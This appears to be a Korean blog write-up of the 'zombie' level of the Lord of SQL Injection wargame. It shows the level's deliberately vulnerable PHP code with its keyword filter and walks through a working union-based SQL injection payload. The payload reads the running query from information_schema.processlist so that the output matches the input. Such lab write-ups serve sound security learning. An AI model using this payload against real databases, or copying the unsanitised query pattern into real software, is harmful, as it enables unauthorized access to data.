<?php
include "./config.php";
login_chk();
$db = dbconnect("zombie");
if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
highlight_file(__FILE__);
?>
ouroboros 문제와 해결 조건은 같다. 입력한 pw와 쿼리 실행 결과의 pw가 같아야한다. 단, replace가 사용불가능하다.
이번엔 information_schema.processlist 테이블을 이용해야한다.
information_schema.processlist 테이블을 보면 info 칼럼에 실행중인 쿼리문이 나온다.
문제를 풀기에 앞서 ?pw=' union select user()%23 을 입력하면 현재 user를 알 수 있다. php 코드에도 dbconnect("zombie")를 보아 유추는 할 수 있지만 확실하게 하기 위해 user가 zombie라는 것을 확인했다. user는 where절에 user='zombie' 형태로 사용한다.
답: ?pw=' union select substr(info,38,88) from information_schema.processlist where user='zombie
이렇게 입력하면 아래와 같은 쿼리가 실행되며 전체 쿼리문이 processlist 테이블에 저장될 것이다.
select pw from prob_zombie where pw= '' union select substr(info,38,88) from information_schema.processlist where user='zombie'
substr 함수를 사용해 ' union부터 zombie까지를 추출한다. 그 결과 내가 pw로 전달한 값인 ' union select substr(info,38,88) from information_schema.processlist where user='zombie 와 일치하여 문제가 해결된다.
내가 입력한 pw값과 쿼리 실행결과 출력되는 값이 일치하게 된다. substr 함수 때문에 띄워쓰기를 주의해야한다. 띄워쓸거면 substr의 세번째 인자를 수정해야한다.
'Lord of SQL Injection' 카테고리의 다른 글
cthulhu (0) | 2023.01.04 |
---|---|
alien (0) | 2023.01.04 |
ouroboros (0) | 2023.01.03 |
phantom (0) | 2023.01.03 |
frankenstein (2) | 2023.01.02 |